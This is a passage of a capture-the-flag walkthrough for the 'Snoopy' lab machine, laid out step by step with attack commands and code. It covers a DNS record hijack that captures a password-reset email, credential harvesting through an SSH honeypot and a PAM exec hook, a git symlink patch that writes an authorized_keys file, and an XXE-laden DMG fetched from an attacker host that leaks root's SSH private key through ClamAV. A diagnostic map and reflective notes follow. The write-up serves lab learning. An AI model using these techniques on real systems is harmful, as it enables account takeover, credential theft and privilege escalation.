server [TARGET_IP]
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A [ATTACKER_IP]
send
quit
EOF
 
dig @[TARGET_IP] mail.snoopy.htb A +short

Keep DNS record alive

TARGET=[TARGET_IP]
ATTACKER=[ATTACKER_IP]
 
while true; do
  nsupdate -k keyfile <<EOF
server $TARGET
zone snoopy.htb
update delete mail.snoopy.htb. A
update add mail.snoopy.htb. 60 A $ATTACKER
send
quit
EOF
  dig +short @$TARGET mail.snoopy.htb A
  sleep 5
done

Postfix SMTP receiver

sudo systemctl stop inetsim
 
echo "snoopy.htb" | sudo tee /etc/mailname
 
sudo postconf -e "myhostname = snoopy.htb"
sudo postconf -e "mydomain = snoopy.htb"
sudo postconf -e "myorigin = /etc/mailname"
sudo postconf -e "mydestination = \$myhostname, localhost.\$mydomain, localhost, \$mydomain, snoopy.htb"
sudo postconf -e "inet_interfaces = all"
sudo postconf -e "inet_protocols = ipv4"
sudo postconf -e "mynetworks = 127.0.0.0/8, 10.0.0.0/8"
 
sudo systemctl restart postfix
sudo ss -ltnp | grep ':25'

Create mailbox

USER=sbrown
 
sudo useradd -m "$USER" 2>/dev/null || true
sudo touch "/var/mail/$USER"
sudo chown "$USER":mail "/var/mail/$USER"
sudo chmod 660 "/var/mail/$USER"
sudo truncate -s 0 "/var/mail/$USER"

Monitor SMTP

sudo tcpdump -ni tun0 host [TARGET_IP] and tcp port 25
 
sudo journalctl -u postfix -f

Extract Mattermost reset URL

sudo cat /var/mail/sbrown | \
python3 -c 'import sys, quopri; print(quopri.decodestring(sys.stdin.buffer.read()).decode("utf-8", "replace"))' | \
grep -oE 'https?://[^ "]+'

SSH honeypot

cd ~/htb/snoopy
git clone https://github.com/jaksi/sshesame.git
cd sshesame
go build
 
cp sshesame.yaml snoopy-2222.yaml
vi snoopy-2222.yaml

Set:

listen_address: "0.0.0.0:2222"

Run:

sudo ./sshesame -config snoopy-2222.yaml 2>&1 | tee ../sshesame-2222.log

Alternative: PAM credential capture (attacker box)

find / -name pam_exec.so 2>/dev/null
 
cat > /dev/shm/pwn.sh <<'EOF'
#!/bin/sh
 
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.log
EOF
chmod +x /dev/shm/pwn.sh
 
# insert BEFORE pam_unix.so (top of the stack), not appended to the bottom β€”
# pam_deny.so at the bottom terminates the stack for unknown users
sudo sed -i '/^auth.*pam_unix.so/i auth\toptional\tpam_exec.so quiet expose_authtok /dev/shm/pwn.sh' /etc/pam.d/common-auth
# attacker sshd_config: UsePAM yes, PasswordAuthentication yes
sudo systemctl restart ssh
 
# forward the 2222 callback into the real sshd on 22
socat TCP-LISTEN:2222,fork,reuseaddr TCP:127.0.0.1:22
 
# 1st /server_provision -> log shows "cbrown:" (username only, empty password)
cat /dev/shm/pwned.log
 
# create the account so sshd runs the real auth path, then 2nd /server_provision
sudo useradd cbrown
cat /dev/shm/pwned.log        # now: cbrown:[CBROWN_PASSWORD]
 
# cleanup
sudo sed -i '/pam_exec.so quiet expose_authtok/d' /etc/pam.d/common-auth
sudo userdel cbrown

SSH as cbrown

ssh cbrown@[TARGET_IP]

cbrown enumeration

whoami
id
groups
hostname
ls -la ~
sudo -l

Generate sbrown SSH key locally

ssh-keygen -t ed25519 -f ~/htb/snoopy/sbrown_key -N ''
cat ~/htb/snoopy/sbrown_key.pub
cd /dev/shm
rm -rf r
mkdir r
chgrp devops r
chmod 775 r
cd r
 
git init
git config user.email cbrown@snoopy.htb
git config user.name cbrown
 
ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m init
git ls-files -s

Git patch

PUBKEY='ssh-ed25519 AAAA... user@parrot'
 
cat > patch <<EOF
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
--
diff --git /dev/null b/renamed-symlink/authorized_keys
new file mode 100644
index 0000000..1111111
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1,1 @@
+$PUBKEY
EOF
 
nl -ba patch

Apply patch as sbrown

sudo -u sbrown /usr/bin/git apply -v patch

SSH as sbrown

chmod 600 ~/htb/snoopy/sbrown_key
ssh -i ~/htb/snoopy/sbrown_key sbrown@[TARGET_IP]

sbrown enumeration

whoami
id
groups
sudo -l
ls -la ~
ls -la ~/scanfiles
find ~ -maxdepth 3 -type f -ls 2>/dev/null
which clamscan
clamscan --version
clamscan -h

Build crafted DMG

cd ~/htb/snoopy
mkdir -p clamav_dmg
cd clamav_dmg
 
sudo apt install -y git cmake build-essential genisoimage
 
mkdir mnt
echo test > mnt/test.txt
 
genisoimage -V progname -D -R -apple -no-pad -o progname.dmg mnt
 
git clone https://github.com/fanquake/libdmg-hfsplus
cd libdmg-hfsplus
 
grep -R "plistHeader" -n .
grep -R "writeResources" -n .
 
vi dmg/resources.c

dmg/resources.c XXE header

Proof target:

const char *plistHeader =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///etc/hostname\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";

Root key target:

const char *plistHeader =
"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"
"<!DOCTYPE plist [<!ENTITY xxe SYSTEM \"file:///root/.ssh/id_rsa\">]>\n"
"<plist version=\"1.0\">\n"
"<dict>\n";

writeResources modification

Change:

abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
        curResource->key);

To:

abstractFilePrint(file, "\t\t<key>%s</key>\n\t\t<array>\n",
        "&xxe;");

Compile and generate DMG

cmake . -B build
make -C build/dmg -j8
build/dmg/dmg ../progname.dmg ../c.dmg
 
strings ../c.dmg | grep -Ei 'DOCTYPE|ENTITY|xxe|plist|id_rsa|hostname'

Serve DMG

cd ~/htb/snoopy/clamav_dmg
python3 -m http.server 8081

Download and scan on target

cd /home/sbrown/scanfiles
rm -f c.dmg
wget http://[ATTACKER_IP]:8081/c.dmg -O c.dmg
 
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/c.dmg 2>&1 | tee /tmp/clamdebug.txt

Search debug output

grep -A20 -B20 -Ei 'snoopy|hostname|plist|resource|xxe|dmg' /tmp/clamdebug.txt
 
grep -A120 -B10 'BEGIN OPENSSH PRIVATE KEY\|BEGIN RSA PRIVATE KEY' /tmp/clamdebug.txt

Root SSH

vi ~/htb/snoopy/id_rsa
chmod 600 ~/htb/snoopy/id_rsa
 
ssh -i ~/htb/snoopy/id_rsa root@[TARGET_IP]

Root flag

id
hostname
cat /root/root.txt

🧭 Diagnostic Map

Symptom: dig ns snoopy.htb returns NXDOMAIN
Meaning: Query is going to local DNS, not the target DNS service
Next: Query directly with dig ns snoopy.htb @[TARGET_IP]

Symptom: AXFR succeeds but records point to 127.0.0.1 or 172.18.0.x
Meaning: Records are meaningful from the target/internal Docker context
Next: Add useful vhost names to /etc/hosts pointing to [TARGET_IP]

Symptom: Mattermost registration says contact admin
Meaning: Self-registration is disabled
Next: Test password reset behavior for discovered email addresses

Symptom: Password reset says failed to send email for sbrown@snoopy.htb
Meaning: Account likely exists, but mail delivery failed
Next: Investigate mail/DNS infrastructure

Symptom: mail.snoopy.htb shows the main website
Meaning: Local /etc/hosts mapping points it to the web server; this does not prove real DNS
Next: Query target DNS directly and look for DNS update possibilities

Symptom: LFI returns a ZIP instead of raw file content
Meaning: The download feature wraps files into an archive
Next: Save the response and extract or print the file from the archive

Symptom: /etc/passwd is readable
Meaning: LFI is confirmed
Next: Read service configuration files, especially BIND config

Symptom: BIND config contains rndc-key and allow-update
Meaning: Authenticated dynamic DNS update is possible
Next: Create an nsupdate key file and add a test record

Symptom: nsupdate returns REFUSED
Meaning: Update was unsigned or wrong key/server/zone was used
Next: Use nsupdate -k keyfile and specify server plus zone

Symptom: ttl 'A' is not a valid number
Meaning: nsupdate syntax is wrong
Next: Use update add name. 60 A ip

Symptom: mail.snoopy.htb record disappears
Meaning: Zone may be reset or cleaned
Next: Keep reapplying the DNS update in a short loop during exploitation

Symptom: Postfix will not start on port 25
Meaning: Another service, such as INetSim, is already listening
Next: Stop the conflicting service and restart Postfix

Symptom: Postfix receives the reset mail but it looks encoded
Meaning: Email body is quoted-printable or MIME encoded
Next: Decode with Python quopri before grepping URLs

Symptom: Server provision callback hits TCP/2222 but no shell appears
Meaning: It is an SSH client callback, not a reverse shell
Next: Use an SSH honeypot instead of netcat

Symptom: sshesame captures cbrown credentials and command ls -la
Meaning: Provisioning automation attempted SSH login successfully
Next: Try SSH to the real target as cbrown

Symptom: sudo -l for cbrown only allows git apply -v patch
Meaning: No direct shell escape; only patch parsing as sbrown
Next: Use a Git symlink patch file-write technique

Symptom: Git patch says corrupt patch at line 12
Meaning: Patch formatting is wrong
Next: Ensure the SSH public key line starts with + and remains one line

Symptom: Vim says E212: Can't open file for writing
Meaning: Directory or file state is wrong, or editor cannot write there
Next: Use heredoc patch creation and check pwd, id, ls -ld .

Symptom: Git says Unable to read current working directory
Meaning: Current /dev/shm/r directory is stale/deleted
Next: cd /dev/shm, recreate r, and re-enter the directory

Symptom: SSH as sbrown asks for password
Meaning: authorized_keys was not written correctly or key permissions are wrong
Next: Recheck patch output and use the matching private key with chmod 600

Symptom: sudo -l for sbrown allows only ClamAV with a strict path
Meaning: Direct flag/key read is blocked
Next: Look for parser issues in file types ClamAV scans

Symptom: ClamAV scan says OK
Meaning: No malware detected, but this does not matter
Next: Inspect --debug output for parser-disclosed content

Symptom: No debug output appears
Meaning: Debug messages may be on stderr
Next: Use 2>&1 | tee /tmp/clamdebug.txt

Symptom: strings c.dmg does not show DOCTYPE or &xxe;
Meaning: Wrong source file edited or DMG not regenerated
Next: Rebuild libdmg-hfsplus and regenerate c.dmg

Symptom: /etc/hostname leaks as snoopy.htb
Meaning: XXE primitive works
Next: Retarget entity to a root-readable credential file

Symptom: Root key fails with invalid format
Meaning: Key was copied with debug prefixes, missing lines, or bad wrapping
Next: Copy only the full PEM block and preserve exact line breaks

Symptom: SSH rejects the key due to permissions
Meaning: Private key file permissions are too open
Next: chmod 600 id_rsa


πŸ”— Related Manual Notes

Field-manual techniques demonstrated on this box:


πŸ“ Personal Notes

Snoopy was one of the hardest user chains so far because the path did not stop at a single foothold. It required chaining service behavior across DNS, web, mail, Mattermost automation, SSH, Git, and local sudo rules.

The first important lesson was that the exposed port list was tiny, but not simple. Only SSH, DNS, and HTTP were externally visible. That made it tempting to over-focus on version-based vulnerabilities, especially BIND. The correct path was configuration and workflow abuse.

The AXFR was the first major clue. It revealed the vhost layout and showed that the machine had Mattermost and provisioning-related infrastructure. The internal Docker IPs were useful context, but not directly reachable. The actionable result was the vhost list.

The web stage rewarded careful request inspection. The download endpoint looked like normal press-release functionality, but the file parameter allowed path traversal. The first useful file was /etc/passwd, because it showed cbrown and sbrown. The more important files were the BIND configuration files.

The BIND config was the real pivot. The leaked rndc-key and allow-update setting meant DNS could be modified legitimately. That changed the situation completely: the offline mail.snoopy.htb clue became exploitable.

The Mattermost password reset behavior was subtle. The reset did not immediately give access, but the error differentiated a valid user from invalid addresses. Once mail.snoopy.htb was pointed to the attacker IP and Postfix was listening, the failed reset path became an account takeover path.

Setting up Postfix was a good operational reminder. INetSim was already bound to port 25, which caused confusion until the listener conflict was checked. After Postfix was correctly listening on 0.0.0.0:25, the email landed cleanly in /var/mail/sbrown.

Mattermost itself was not the final objective. It was a source of internal process knowledge. The /server_provision command was the next bridge. The server provisioning callback looked confusing at first because a TCP connection arrived on 2222 but did not behave like a shell. The key realization was that the target was attempting SSH.

The SSH honeypot step was very CPTS-style. Instead of trying to exploit the callback, we impersonated the expected server and captured the authentication attempt. sshesame was the right tool because the automation used Paramiko and password-based SSH.

The cbrown to sbrown step was probably the hardest user part. The sudo rule looked extremely constrained: git apply -v with only a simple filename. The bypass came from understanding Git patch behavior and symlinks, not from adding flags or escaping the command.

Patch formatting mattered a lot. The public key had to be one line and had to be added with a leading +. The stale /dev/shm/r directory issue also created a confusing Git error. Recreating the repo cleanly fixed it.

The final root path was elegant because the sudo rule was also constrained. sbrown could not scan arbitrary paths or pass arbitrary ClamAV flags. The only allowed action was clamscan --debug against files in scanfiles. That forced a parser-based approach.

ClamAV 1.0.0 and the DMG XXE issue matched perfectly. Building the malicious DMG by modifying libdmg-hfsplus felt more realistic than just downloading a ready-made exploit. The harmless /etc/hostname test was important because it proved the primitive before touching root-owned material.

The debug output line:

cli_scandmg: wanted blkx, text value is snoopy.htb

was the moment the root path was confirmed. From there, changing the entity target to /root/.ssh/id_rsa gave a real root shell instead of just a flag read.

Overall methodology:

Enumerate DNS directly. Treat vhosts as infrastructure clues. Use LFI to read configuration, not only flags. Think about how failed workflows can be redirected. Use real services when intercepting protocols. Identify whether a callback is shell, HTTP, or SSH before choosing a listener. Read sudo regexes carefully. When a command is constrained, attack the file format it processes. Prove file-read primitives with harmless files first. Prefer credential disclosure that gives an interactive shell over direct flag disclosure.